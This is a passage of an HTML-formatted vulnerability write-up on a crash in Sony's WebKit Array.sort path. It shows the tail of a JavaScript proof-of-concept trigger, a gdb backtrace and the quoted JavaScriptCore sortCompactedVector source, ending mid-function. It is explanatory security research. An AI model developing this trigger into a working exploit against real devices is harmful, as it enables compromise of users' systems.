&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you run it on a Linux host using Sony’s WebKit, you will see a segmentation fault. Let’s look at it in the debugger:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Thread 1 &quot;GtkLauncher&quot; received signal SIGSEGV, Segmentation fault.
0x00007ffff30bec35 in JSC::WriteBarrierBase&amp;lt;JSC::Unknown&amp;gt;::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
152	        m_value = JSValue::encode(value);
(gdb) bt
#0  0x00007ffff30bec35 in JSC::WriteBarrierBase&amp;lt;JSC::Unknown&amp;gt;::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
#1  0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor&amp;lt;(unsigned char)27&amp;gt;::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069
#2  0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector&amp;lt;(unsigned char)27, JSC::WriteBarrier&amp;lt;JSC::Unknown&amp;gt; &amp;gt; (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3)
    at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#3  0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214
#4  0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone)
    at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#5  0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697

&amp;lt;the rest does not matter&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Turns out, it hits unmapped memory while executing JavaScript Array.sort function. But what’s going on here?&lt;/p&gt;

&lt;h1 id=&quot;the-bug&quot;&gt;The bug&lt;/h1&gt;

&lt;p&gt;Let’s take a look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSArray::sort&lt;/code&gt; method (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Source/JavaScriptCore/runtime/JSArray.cpp&lt;/code&gt;). Notice how the PoC creates the array:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;almost_oversize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This makes an array of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ArrayWithContiguous&lt;/code&gt;. That’s why we get into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sortCompactedVector&lt;/code&gt; function. The full implementation of the function is as follows:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;template&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IndexingType&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;indexingType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;typename&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;StorageType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;JSArray&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sortCompactedVector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ExecState&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ContiguousData&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StorageType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;n&quot;&gt;VM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that.&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// This is a considerable improvement over doing it twice per comparison, though it requires a large temporary&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// buffer. Besides, this protects us from crashing if some objects have custom toString methods that return&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// random or otherwise changing results, effectively making compare function inconsistent.&lt;/span&gt;
        
    &lt;span class=&quot;n&quot;&gt;Vector&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ValueStringPair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UnsafeVectorOverflow&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;throwOutOfMemoryError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        
    &lt;span class=&quot;n&quot;&gt;Heap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;heap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pushTempSortVector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        
    &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isSortingPrimitiveValues&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;JSValue&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ContiguousTypeAccessor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;indexingType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getAsValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ASSERT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;indexingType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ArrayWithInt32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isInt32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ASSERT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isUndefined&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;indexingType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ArrayWithDouble&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;indexingType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ArrayWithInt32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;isSortingPrimitiveValues&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isSortingPrimitiveValues&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isPrimitive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        
    &lt;span class=&quot;c1&quot;&gt;// FIXME: The following loop continues to call toString on subsequent values even after&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// a toString call raises an exception.&lt;/span&gt;
        
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;second&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;toWTFStringInline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hadException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Heap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;heap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;popTempSortVector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        
    &lt;span class=&quot;c1&quot;&gt;// FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// than O(N log N).&lt;/span&gt;
        
&lt;span class=&quot;cp&quot;&gt;#if HAVE(MERGESORT)
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;isSortingPrimitiveValues&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;qsort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ValueStringPair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compareByStringPairForQSort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mergesort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ValueStringPair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compareByStringPairForQSort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#else
&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;// FIXME: The qsort library function is likely to not be a stable sort.&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort.&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;qsort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ValueStringPair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compareByStringPairForQSort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;    
    &lt;span class=&quot;c1&quot;&gt;// If the toString function changed the length of the array or vector storage,&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// increase the length to handle the orignal number of actual values.&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;indexingType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ArrayWithInt32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ArrayWithDouble&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ArrayWithContiguous&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ensureLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ArrayWithArrayStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arrayStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vectorLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;increaseVectorLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;ContiguousTypeAccessor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;indexingType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replaceDataReference&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arrayStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arrayStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
